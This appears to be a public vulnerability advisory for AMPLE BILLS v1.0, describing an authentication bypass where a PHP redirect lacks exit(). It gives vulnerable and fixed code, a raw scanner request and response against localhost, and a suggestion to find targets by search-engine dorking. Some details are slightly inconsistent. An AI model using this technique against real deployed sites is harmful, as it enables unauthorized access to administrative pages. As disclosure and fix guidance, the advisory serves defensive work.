AMPLE BILLS version 1.0 appears to suffer from an administrative page disclosure issue.
075664283ea2c622f78ab5765188a914420ae491df36dc028ae8cbe0d7af7a77
=============================================================================================================================================
| # Title : AMPLE BILLS v1.0 Administrative Page Disclosure Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) |
| # Vendor : https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] Vulnerability description :
An HTML form was found in the response body of this page. However, the current page redirects the visitor to another page by returning an HTTP status code of 301/302.
Therefore, all browser users will not see the contents of this page and will not be able to interact with the HTML form.
Sometimes programmers don't properly terminate the script after redirecting the user to another page. For example:
<?php
if (!isset($_SESSION["authenticated"])) {
header("Location: auth.php");
}
?>
<title>Administration page</title>
<form action="/admin/action" method="post">
<!-- ... form inputs ... -->
</form>
<!-- ... the rest of the administration page ... -->
This script is incorrect because the script is not terminated after the "header("Location: auth.php");" line. An attacker can access the content the administration page by using an HTTP client that doesn't follow redirection (like HTTP Editor). This creates an authentication bypass vulnerability.
The correct code would be
<?php
if (!isset($_SESSION[auth])) {
header("Location: auth.php");
exit();
}
?>
<title>Administration page</title>
<form action="/admin/action" method="post">
<!-- ... form inputs ... -->
</form>
<!-- ... the rest of the administration page ... -->
[+] infected item : /pass.
[+] Attack details :
Form action=''
Request
GET /ample/index.php?page=add_expense_catagory HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://127.0.0.1/ample/index.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=d79a5fbv977hkq34ib65osmk8u
Host: 127.0.0.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Response
HTTP/1.1 302 Found
Date: Sun, 28 Jul 2024 22:44:51 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
X-Powered-By: PHP/8.0.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: login.php
Keep-Alive: timeout=5, max=78
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 31539
[+] The impact of this vulnerability : depends on the affected web application.
[+] How to fix this vulnerability : Make sure the script is terminated after redirecting the user to another page
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================